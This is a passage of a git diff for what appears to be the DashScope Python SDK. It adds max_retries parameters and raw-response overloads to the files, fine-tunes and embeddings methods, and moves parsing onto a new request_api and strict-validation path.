Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._jobs.wait( @@ -437,6 +805,7 @@ async def wait( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -463,6 +832,7 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[False] = False, ) -> EmbeddingResponse: ... @@ -484,6 +854,7 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[True], ) -> "APIResponse": ... @@ -504,6 +875,7 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: bool = False, ) -> Union[EmbeddingResponse, "APIResponse"]: body = _build_body( @@ -527,6 +899,7 @@ def create( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), client=self._client, ) @@ -565,6 +938,7 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[False] = False, ) -> EmbeddingResponse: ... @@ -586,6 +960,7 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[True], ) -> "APIResponse": ... @@ -606,6 +981,7 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: bool = False, ) -> Union[EmbeddingResponse, "APIResponse"]: body = _build_body( @@ -629,6 +1005,7 @@ async def create( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), client=self._client, ) diff --git a/dashscope/resources/files.py b/dashscope/resources/files.py index f19edff0..38f40b5d 100644 --- a/dashscope/resources/files.py +++ b/dashscope/resources/files.py @@ -7,17 +7,25 @@ import json import os import re -from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field from dashscope.errors import ( BadRequestError, NotFoundError, - check_response, response_error, sdk_error, - response_json, ) from dashscope.transport._options import request_options from dashscope.types._parse import parse_model @@ -31,6 +39,8 @@ if TYPE_CHECKING: import httpx + from dashscope.transport._response import APIResponse + _BASE_PATH = "/files" MODULE = "files" @@ -285,6 +295,7 @@ class Files: def __init__(self, client) -> None: self._client = client + @overload def upload( self, *, @@ -297,10 +308,53 @@ def upload( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Upload a JSONL file for fine-tuning. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ _validate_upload(file_path, purpose) data, files = _upload_form(file_path, description) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _BASE_PATH, data=data, @@ -313,19 +367,24 @@ def upload( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( _parse_upload( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) - def list( + @overload + def list( # pylint: disable=redefined-builtin self, *, page_no: int = 1, @@ -336,8 +395,51 @@ def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FileList: - response = self._client.transport.request( + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FileList, "APIResponse"]: + """List uploaded files, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. A raw response + carries no pagination callback -- use ``FileList.iter_pages()`` on the + parsed result to cross pages. + """ + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -349,13 +451,17 @@ def list( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() result = _parse_list( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ) result.bind_pagination( lambda next_no, next_size: self.list( @@ -367,10 +473,14 @@ def list( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, ), + requested_page_no=page_no, + requested_page_size=page_size, ) - return with_headers(result, response) + return with_headers(result, resp.http_response) + @overload def get( self, file_id: str, @@ -381,9 +491,51 @@ def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Fetch one uploaded file's metadata. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: a missing file comes back as the + gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, @@ -394,21 +546,26 @@ def get( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) return with_headers( _parse_file( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) + @overload def delete( self, file_id: str, @@ -419,9 +576,51 @@ def delete( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeletionStatus: + ... + + @overload + def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeletionStatus, "APIResponse"]: + """Delete one uploaded file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: deleting a file that is already gone + comes back as the gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = self._client.transport.request( + resp = self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, @@ -432,19 +631,23 @@ def delete( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) return with_headers( _parse_delete( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) @@ -452,6 +655,7 @@ class AsyncFiles: def __init__(self, client) -> None: self._client = client + @overload async def upload( self, *, @@ -464,10 +668,53 @@ async def upload( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + async def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Upload a JSONL file for fine-tuning. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ _validate_upload(file_path, purpose) data, files = _upload_form(file_path, description) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _BASE_PATH, data=data, @@ -480,19 +727,24 @@ async def upload( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( _parse_upload( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) - async def list( + @overload + async def list( # pylint: disable=redefined-builtin self, *, page_no: int = 1, @@ -503,8 +755,51 @@ async def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FileList: - response = await self._client.transport.request( + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FileList, "APIResponse"]: + """List uploaded files, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. A raw response + carries no pagination callback -- use ``FileList.iter_pages()`` on the + parsed result to cross pages. + """ + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -516,13 +811,17 @@ async def list( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() result = _parse_list( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ) result.bind_pagination( lambda next_no, next_size: self.list( @@ -534,10 +833,14 @@ async def list( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, ), + requested_page_no=page_no, + requested_page_size=page_size, ) - return with_headers(result, response) + return with_headers(result, resp.http_response) + @overload async def get( self, file_id: str, @@ -548,9 +851,51 @@ async def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + async def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Fetch one uploaded file's metadata. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: a missing file comes back as the + gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, @@ -561,21 +906,26 @@ async def get( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) return with_headers( _parse_file( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) + @overload async def delete( self, file_id: str, @@ -586,9 +936,51 @@ async def delete( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeletionStatus: + ... + + @overload + async def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeletionStatus, "APIResponse"]: + """Delete one uploaded file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: deleting a file that is already gone + comes back as the gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, @@ -599,17 +991,21 @@ async def delete( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) return with_headers( _parse_delete( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) diff --git a/dashscope/resources/fine_tunes.py b/dashscope/resources/fine_tunes.py index 6946ff55..be7e40b4 100644 --- a/dashscope/resources/fine_tunes.py +++ b/dashscope/resources/fine_tunes.py @@ -16,6 +16,7 @@ import asyncio import time from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Awaitable, @@ -23,8 +24,11 @@ Dict, Iterator, List, + Literal, + Mapping, Optional, Union, + overload, ) from pydantic import ( @@ -37,9 +41,7 @@ from dashscope.errors import ( DashScopeError, - check_response, error_from_business_code, - response_json, ) from dashscope.resources._jobs import ( CANCELED, @@ -55,6 +57,8 @@ _stream_error, _try_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -64,6 +68,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _BASE_PATH = "/fine-tunes" MODULE = "finetune" @@ -174,32 +183,100 @@ class FineTuneEvent(BaseModel): is_error: bool = False -def _parse_job(body: Dict[str, Any]) -> FineTune: - return FineTune(**flatten_envelope(body)) +def _parse_job( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> FineTune: + return parse_model( + FineTune, + flatten_envelope(body), + strict=strict, + response=response, + ) -def _parse_list(body: Dict[str, Any]) -> FineTuneList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> FineTuneList: data = flatten_envelope(body) - jobs = data.get("jobs") or [] - return FineTuneList( - page_no=data.get("page_no", 1), - page_size=data.get("page_size", 10), - total_count=data.get("total", len(jobs)), - jobs=jobs, - **response_envelope(data), + jobs = data.get("jobs") + if not isinstance(jobs, list): + # A retyped ``jobs`` would poison the ``len()`` below (a string's + # length is not a page total). Empty is the honest reading of + # "not a list", matching ``models._parse_list``. + jobs = [] + return parse_model( + FineTuneList, + { + "page_no": data.get("page_no", 1), + "page_size": data.get("page_size", 10), + "total_count": data.get("total", len(jobs)), + "jobs": jobs, + **response_envelope(data), + }, + strict=strict, + response=response, ) -def _parse_status(body: Dict[str, Any]) -> JobStatus: - return JobStatus(**flatten_envelope(body)) +def _parse_status( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> JobStatus: + return parse_model( + JobStatus, + flatten_envelope(body), + strict=strict, + response=response, + ) -def _parse_logs(job_id: str, body: Dict[str, Any]) -> JobLogs: +def _parse_logs( + job_id: str, + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> JobLogs: data = flatten_envelope(body) - return JobLogs( - job_id=job_id, - content=data.get("logs") or "", - **response_envelope(data), + return parse_model( + JobLogs, + { + "job_id": job_id, + "content": data.get("logs") or "", + **response_envelope(data), + }, + strict=strict, + response=response, + ) + + +def _parse_event( + data: Any, + *, + is_error: bool = False, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> FineTuneEvent: + """One SSE frame, degrading rather than breaking the iteration. + + A drifted frame used to raise a bare ``ValidationError`` partway + through the generator -- earlier frames were already consumed and + ``except DashScopeError`` could not catch it. ``response`` is the + stream itself, which is the only response a frame belongs to. + """ + return parse_model( + FineTuneEvent, + {"output": _try_json(data), "is_error": is_error}, + strict=strict, + response=response, ) @@ -241,6 +318,7 @@ class FineTunes: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -253,7 +331,59 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: + ... + + @overload + def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Create a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, training_file_ids, @@ -262,7 +392,7 @@ def create( hyper_parameters, finetuned_model, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -270,10 +400,27 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload def get( self, job_id: str, @@ -281,18 +428,77 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: - response = self._client.transport.request( + ... + + @overload + def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Fetch one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload def list( self, *, @@ -301,8 +507,52 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTuneList: - response = self._client.transport.request( + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTuneList, "APIResponse"]: + """List fine-tune jobs, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -310,10 +560,27 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload def cancel( self, job_id: str, @@ -321,18 +588,77 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = self._client.transport.request( + ... + + @overload + def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Cancel a running fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "POST", f"{_BASE_PATH}/{job_id}/cancel", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload def delete( self, job_id: str, @@ -340,18 +666,77 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = self._client.transport.request( + ... + + @overload + def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + 